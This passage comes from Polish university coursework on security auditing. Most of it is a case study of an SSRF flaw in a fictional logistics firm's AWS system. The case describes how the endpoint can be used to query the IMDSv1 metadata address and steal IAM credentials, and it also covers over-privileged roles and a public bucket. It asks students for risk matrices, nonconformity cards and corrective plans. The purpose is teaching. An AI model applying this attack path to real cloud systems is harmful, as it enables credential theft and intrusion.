5. Formalne Karty Niezgodności (NC1/NC2/OFI).

6. Protokół dochodzenia przyczyn źródłowych (5 Why).

7. Szczegółowe rozwiązanie techniczne: konfiguracja log4j2 JSON layout, schemat zdarzeń OSSTMM, model SIEM/Wazuh, polityka retencji, procedura naruszeń.

8. Tabela Planu Działań Korygujących (CAP).

9. Analiza kompromisów inżynierskich (objętość logów, koszty SIEM, wpływ na wydajność systemu).

10. Bibliografia, netografia i odnośniki do norm i aktów prawnych.

• OWASP Foundation: "OWASP Top 10:2021", A09:2021 Security Logging and Monitoring Failures.
• OWASP Foundation: "Logging Cheat Sheet" (wersja 2023).
• NIST SP 800-92: "Guide to Computer Security Log Management".
• Rozporządzenie Parlamentu Europejskiego i Rady (UE) 2016/679 (RODO) - art. 5 ust. 2, art. 25, art. 32, art. 33.
• Rozporządzenie Rady Ministrów z dnia 12 kwietnia 2012 r. w sprawie KRI (Dz.U. 2017 poz. 2247) - § 20 ust. 2 pkt 4 i 5 (logowanie i retencja).
• Norma PN-EN ISO/IEC 27001:2022: kontrole A.5.2, A.5.10, A.5.28, A.8.15, A.8.16.
• Ustawa z dnia 6 listopada 2008 r. o prawach pacjenta i Rzeczniku Praw Pacjenta (Dz.U. 2022 poz. 1876).

• U2 Profesjonalna identyfikacja i formalna gradacja uchybień rejestrowania (NC1/NC2/OFI).
• U1 Opracowanie zaleceń pełnego dziennika audytowego, SIEM i polityki retencji.
• U3 Zastosowanie zaawansowanej analizy ryzyka 3x3 w ochronie zdrowia.
• U4 Konstrukcja Planu Działań Korygujących (CAP) ze wskaźnikami KPI oraz raportu 8-12 stron.
• W1W2W3 Głęboka znajomość RODO art. 33, art. 32, KRI § 20, normy ISO 27001 i OWASP Logging.
• K1K2K3 Obiektywizm, niezależność audytorska i odpowiedzialność za dane wrażliwe.

Podczas obrony referatu zaprezentujcie komisji porównanie wpisu w dzienniku przed audytem (bez tożsamości) i po audycie (komplet zdarzeń z identyfikatorami sesji i użytkownika), a także przykładowy dashboard SIEM z wykrytą anomalią prób logowania w systemie orzeczeń lekarskich.

Głównym celem zadania jest opanowanie przez studentów zaawansowanych umiejętności audytowania podatności typu Server-Side Request Forgery (SSRF) w nowoczesnych aplikacjach chmurowych (kategoria OWASP Top 10:2021 - A10:2021 Server-Side Request Forgery) oraz rozumienia zagrożeń związanych z usługą metadanych AWS IMDSv1. Studenci badają Międzynarodowy Operator Logistyczny 'Trans-Cargo Polska S.A.' - podmiot obsługujący 480 000 przejść granicznych rocznie - którego system rozliczeń tranzytowych (SART) przetwarza dane MANIFESTÓW SEMKO i korzysta z połączeń z zewnętrznymi API celno-logistycznych (GUS, e-CLO, Transport Data Exchange). W systemie SART wykryto możliwość wykorzystania podatności SSRF do odpytywania instancji metadanych AWS (169.254.169.254) w wariancie IMDSv1, co umożliwia uzyskanie tymczasowych poświadczeń roli IAM instancji i eskalację uprawnień w całym kontach chmurowych. Zadanie wymaga przeprowadzenia formalnej analizy ryzyka w matrycy 3x3 (ryzyko inherentne i rezydualne), opracowania kart niezgodności (NC1/NC2/OFI) z precyzyjnym wskazaniem punktów normy ISO/IEC 27001:2022 oraz wymogów NIS2, przeprowadzenia dochodzenia przyczyn źródłowych metodą 5 Why, a także skonstruowania kompletnego Planu Działań Korygujących (CAP) z przypisaniem ról, terminów i mierzalnych wskaźników KPI.

Powiązanie z sylabusem i treściami programowymi:

• U2 Identyfikacja i formalna gradacja uchybień SSRF na Niezgodności Duże (NC1), Niezgodności Małe (NC2) oraz Szanse na poprawę (OFI).
• U1 Opracowanie zaleceń bezpiecznej konsumpcji zewnętrznych URL (allow-listy, filtracja RFC 1918, token IMDSv2), architektury zero trust w chmurze AWS.
• U3 Przeprowadzenie analizy ryzyka metodą 3x3 dla 4 wektorów zagrożeń w ujęciu inherentnym i rezydualnym.
• U4 Opracowanie ustrukturyzowanego raportu poaudytowego (8-12 stron), tabeli CAP i wygłoszenie 15-minutowego referatu seminaryjnego.
• W1W2W3 Zaawansowana znajomość NIS2, normy PN-EN ISO/IEC 27001:2022 (A.8.20, A.8.28), AWS Well-Architected Framework (Security Pillar), OWASP A10:2021 oraz wytycznych SANS AWSSecurity.
• K1K2K3 Obiektywizm, niezależność osądu audytorskiego i profesjonalne komunikowanie ryzyk chmurowych zarządowi.
• Powiązanie z wykładem: Wyk1 (Audyt bezpieczeństwa w logistyce i chmurze), Wyk3 (Kontrole A.8.20, A.8.28, A.8.22, A.5.21), Wyk4 (NIS2 dla sektora transportu i infrastruktury granicznej), Wyk5 (Risk-based audit w matrycy 3x3), Wyk6 (Analiza ruchu HTTP/REST, metadane AWS), Wyk7 (Procedura 5 Why i Plan CAP).

Międzynarodowy Operator Logistyczny 'Trans-Cargo Polska S.A.' prowadzi międzynarodowe przewozy drogowe na trasach UE-WNP, obsługując rocznie ponad 480 000 przejść granicznych (przejścia w Koroszczynie, Dorohusku, Łukowie, Budzisku i pozostałej pln-wsch granicy) oraz współpracując z terminalami celno-logistycznymi. Centralny System Rozliczeń Tranzytowych (SART) działa w chmurze AWS (region eu-central-1) i realizuje:

• integracje z zewnętrznymi API (GUS - rejestr podmiotów, e-CLO - sprawozdawczość celna, Transport Data Exchange TDE) wykorzystując mechanizm przekierowań HTTP,
• generowanie dokumentów MANIFEST SEMKO, drukowanie zgłoszeń i obsługę taryfikacji przewozów,
• przechowywanie danych w relacyjnej bazie Aurora PostgreSQL oraz bucketach S3 (dane wejściowe manifestów, dokumenty przewozowe).

Stan faktyczny w obszarze podatności SSRF:

• Backend aplikacji (Spring Boot + Java) w module pobierania załączników do manifestów posiada endpoint `GET /api/v1/manifests/{id}/attachments?url=<URL>` umożliwiający przekazanie dowolnego adresu URL, którego treść jest następnie pobierana przez serwer aplikacji i zwracana do klienta (tzw. "fetch URL"). Implementacja nie zawiera filtrowania adresów wewnętrznych (RFC 1918, link-local 169.254.169.254), nie posiada listy dozwolonych hostów zewnętrznych (allow-list) ani ograniczeń systemu plików/portów.
• W wyniku wykorzystania SSRF możliwe jest odpytywanie adresu usługi metadanych instancji EC2 (http://169.254.169.254/latest/meta-data/) w wariancie IMDSv1, bez wymogu tokenu sesji, uzyskując tymczasowe poświadczenia roli IAM instancji (AccessKeyId, SecretAccessKey, Token) i pełny dostęp do S3/Aurora/secrets w koncie.
• Role IAM przypisane instancjom EC2 mają nadmierne uprawnienia (AttachAdministratorAccess do zasobów produkcyjnych), a monit o monitorowanie CloudTrail dla zdarzeń AssumeRole i STS nie jest prowadzony - brak alertów o anomalii odpytywania metadanych.
• Nieużywane bucket S3 ("trans-cargo-backup-eu-1") jest publicznie czytalny (naruszenie zasady least privilege), a CloudFormation stack do tworzenia środowisk testowych zawiera twardo zakodowane poświadczenia w parametrach.

Członek Zarządu ds. Operacyjnych, w reakcji na zgłoszenie anonimowe przez kierowcę o pobieraniu nieuprawnionych dokumentów granicznych, zleca zaawansowany audyt bezpieczeństwa aplikacji webowych na ocenę 4.0.

Zadanie realizowane jest przez 2-3 osobowy zespół audytorski w formule studium przypadku:

• Krok 1 (Podział ról w grupie audytowej):

  Student 1 (Audytor Wiodący / Governance i Zgodność Regulacyjna): Koordynuje prace zespołu, analizuje wymogi NIS2 dla sektora transportu (art. 21), obowiązki z zakresu bezpieczeństwa łańcucha dostaw, przygotowuje wnioski dla Zarządu.

  Student 2 (Audytor Techniczny ds. Bezpieczeństwa Aplikacji i Chmury AWS): Dekonstruuje endpoint SSRF, bada IMDSv1/v2, analizuje polityki IAM, bucketów S3 i CloudTrail, projektuje architekturę zero trust z allow-listami URL i tokenem IMDSv2.

  Student 3 (Audytor Zgodności Regulacyjnej, Ryzyka i Jakości CAP): Przeprowadza analizę ryzyka w matrycy 3x3, sporządza karty niezgodności (NC1/NC2/OFI), prowadzi dochodzenie 5 Why i konstruuje tabelę Planu CAP ze wskaźnikami KPI. W zespole 2-osobowym zadania te dzielą Studenci 1 i 2.

• Krok 2 (Zaawansowana analiza ryzyka metodą 3x3):

  Oszacujcie prawdopodobieństwo (P: 1-3) oraz skutek (S: 1-3) w skali 9-stopniowej dla 4 wektorów zagrożeń:

  1. Wykradzenie poświadczeń roli IAM instancji przez SSRF-IMDSv1 (P=3, S=3 -> R=9; po kontrolach: IMDSv2, EBS imds-options: P=1, S=3 -> R=3).

  2. Eksfiltracja danych manifestów SEMKO z bucketów S3 przez nadmierne uprawnienia ról (P=3, S=3 -> R=9; po kontrolach: least privilege, SCP: P=1, S=2 -> R=2).

  3. Dostęp do wewnętrznej infrastruktury (Aurora, RDS, cache) przez SSRF do adresów RFC1918/link-local (P=3, S=3 -> R=9; po kontrolach: filtrowanie, allow-listy, WAF: P=1, S=3 -> R=3).

  4. Publicznie dostępny bucket i twardo zakodowane poświadczenia w CloudFormation (P=2, S=3 -> R=6; po kontrolach: blokada publicznego accessu, Secret Manager: P=1, S=2 -> R=2).

• Krok 3 (Formalna kwalifikacja uchybień - Karty Niezgodności):

  Sformułujcie karty uchybień z podziałem na:

  • Niezgodność Duża (NC1): Podatność SSRF w module pobierania załączników umożliwiająca odpytywanie usługi metadanych AWS IMDSv1 i wykradzenie poświadczeń roli IAM (ISO 27001 A.8.28, A.8.20, OWASP A10:2021, NIS2 art. 21).
  • Niezgodność Duża (NC1): Nadmierne uprawnienia ról IAM instancji (administrator) i brak wdrożenia IMDSv2 (ISO 27001 A.8.2, A.8.3, A.8.20, AWS Well-Architected Security Pillar).
  • Niezgodność Mała (NC2): Publicznie czytalny, nieużywany bucket S3 'trans-cargo-backup-eu-1' naruszający zasadę least privilege (ISO 27001 A.8.2, A.8.3, A.8.13).
  • Niezgodność Mała (NC2): Brak monitoringu CloudTrail dla zdarzeń AssumeRole/STS i brak alertów o anomaliach odpytywania metadanych (ISO 27001 A.8.15, A.8.16).
  • Szansa na doskonalenie (OFI): Wdrożenie modelu network egress allow-list (AWS Network Firewall) i architektury micro-segmentacji dla integracji z API zewnętrznymi.
• Krok 4 (Dochodzenie przyczyn źródłowych metodą 5 Why):

  1. Dlaczego atakujący mógł wykraść poświadczenia roli IAM? (Ponieważ endpoint SSRF nie filtrował adresów link-local/metadata i pozwalał na odpytywanie 169.254.169.254).

  2. Dlaczego endpoint nie filtrował adresów metadanych? (Ponieważ funkcja pobierania załączników była projektowana z myślą o wewnętrznym systemie plików, a rozszerzenie o zewnętrzne URL dodano bez wymagań bezpieczeństwa).

  3. Dlaczego rozszerzenie dodano bez wymagań bezpieczeństwa? (Ponieważ w procesie zarządzania zmianą nie prowadzono modelowania zagrożeń i nie konsultowano zmian z zespołem bezpieczeństwa).

  4. Dlaczego zespół bezpieczeństwa nie był włączany w procesy zmian? (Ponieważ kompetencje chmurowe AWS zlokalizowane były w developerskim zespole inżynierskim, a bezpieczeństwo sprowadzono do konfiguracji z dokumentacji).

  5. Root Cause (Przyczyna źródłowa): Brak wdrożenia Secure SDLC i włączania bezpieczeństwa w proces zmian chmurowych, nadmierne uprawnienia IAM oraz brak architektury zero trust w chmurze AWS.

• Krok 5 (Konstrukcja Planu Działań Korygujących - CAP):

  Opracujcie tabelę CAP z kolumnami: Lp., Zidentyfikowana niezgodność (NC1/NC2/OFI), Działanie korygujące / zapobiegawcze, Właściciel biznesowy (rola), Termin wdrożenia (14-90 dni), Mierzalny wskaźnik sukcesu (KPI).

• Krok 6 (Przygotowanie referatu i dokumentacji raportowej):

  Zredagujcie raport poaudytowy o objętości 8-12 stron z pełnymi kartami i analizami, a następnie przygotujcie prezentację multimedialną do 15-minutowej obrony przed komisją.

Plan prezentacji referatu seminaryjnego (15 minut):

• Prezentacja badanego podmiotu i kontekstu regulacyjnego NIS2 (3 min): Profil operatora logistycznego, znaczenie systemu SART, wymogi art. 21 NIS2 (Student 1).
• Prezentacja techniczna dekonstrukcji podatności SSRF/IMDSv1 (4 min): Analiza endpointu fetch-URL, demony mation odpytywania metadanych, wyciek poświadczeń IAM, konfiguracja CloudTrail (Student 2).
• Prezentacja zaawansowanej analizy ryzyka w matrycy 3x3 i kwalifikacji NC1/NC2/OFI (3 min): Wyliczenia IR vs RR, powołanie ISO 27001 A.8.28, A.8.2, AWS Security Pillar (Student 3 lub Student 1).
• Prezentacja dochodzenia 5 Why, Planu CAP i architektury zero trust (3 min): Omówienie przyczyn źródłowych, tabela CAP, IMDSv2, allow-listy URL, least privilege (Student 2 i Student 3).
• Podsumowanie, rekomendacje strategiczne i dyskusja z komisją (2 min): Obrona realności wdrożeniowej zaleceń (cały zespół).

Wymagana struktura raportu poaudytowego na ocenę 4.0 (objętość 8-12 stron A4):

1. Podsumowanie zarządcze dla Zarządu i dyrektora operacyjnego.

2. Odpowiedzi na zaawansowane pytania problemowe:

• Jak zaimplementować bezpieczny paragon zewnętrznych URL (allow-listy, blokada RFC 1918 i link-local, ograniczenia portów, SSRF Preventions w AWS WAF)?
• Czym różni się IMDSv1 od IMDSv2 i jak wymusić tokenowe odpytywanie metadanych oraz ograniczyć dostęp do usługi metadanych w instancjach EC2?
• Jak zaprojektować architekturę zero trust w AWS (SCP, minimalne uprawnienia ról, network segmentation, CloudTrail anomaly detection) zgodnie z AWS Well-Architected Framework?

3. Opis stanu faktycznego i przebiegu testów bezpieczeństwa (testy SSRF, analiza polityk IAM/S3, symulacja wycieku poświadczeń).

4. Tabela Zaawansowanej Analizy Ryzyka w matrycy 3x3 (4 wektory, IR vs RR).

5. Formalne Karty Niezgodności (NC1/NC2/OFI).

6. Protokół dochodzenia przyczyn źródłowych (5 Why).

7. Szczegółowe rozwiązanie techniczne: konfiguracja IMDSv2, polityka IAM z least privilege (deny dla administratora), allow-listy URL w API Gateway/WAF, CloudTrail alerts na AssumeRole.

8. Tabela Planu Działań Korygujących (CAP).

9. Analiza kompromisów inżynierskich (koszt refaktoryzacji fetch-URL, wpływ integracji z API zewnętrznymi, dostępność IMDSv2).

10. Bibliografia, netografia i odnośniki do norm i aktów prawnych.

• OWASP Foundation: "OWASP Top 10:2021", A10:2021 Server-Side Request Forgery.
• OWASP Foundation: "Server-Side Request Forgery Prevention Cheat Sheet" (wersja 2023).
• Amazon Web Services: "Announcing the release of Instance Metadata Service v2" (IMDSv2) - dokumentacja techniczna.
• Amazon Web Services: "Well-Architected Framework: Security Pillar" - zarządzanie tożsamością i dostępem (IAM), ochrona danych, bezpieczeństwo sieci.
• AWS: "S3 Block Public Access" - mechanizmy zapobiegania publicznemu dostępowi do bucketów.
• Dyrektywa (UE) 2022/2555 (NIS2) - art. 21 (zarządzanie ryzykiem), art. 24 (bezpieczeństwo łańcucha dostaw).
• Norma PN-EN ISO/IEC 27001:2022: kontrole A.8.2, A.8.3, A.8.13, A.8.15, A.8.16, A.8.20, A.8.28.

• U2 Profesjonalna identyfikacja i formalna gradacja uchybień SSRF/cloud (NC1/NC2/OFI).
• U1 Opracowanie zaleceń architektury zero trust w AWS, IMDSv2, allow-list URL i least privilege.
• U3 Zastosowanie zaawansowanej analizy ryzyka 3x3 w środowisku chmurowym.
• U4 Konstrukcja Planu Działań Korygujących (CAP) ze wskaźnikami KPI oraz raportu 8-12 stron.
• W1W2W3 Głęboka znajomość NIS2, normy ISO 27001, AWS Well-Architected i OWASP A10.
• K1K2K3 Obiektywizm, niezależność audytorska i profesjonalna komunikacja ryzyk chmurowych.

Podczas obrony referatu zaprezentujcie komisji diagram ataku SSRF-IMDSv1 (od żądania HTTP do wycieku poświadczeń roli IAM) oraz porównanie konfiguracji instancji EC2 przed i po wdrożeniu IMDSv2 wraz z wynikami testów CloudTrail dla zdarzeń AssumeRole.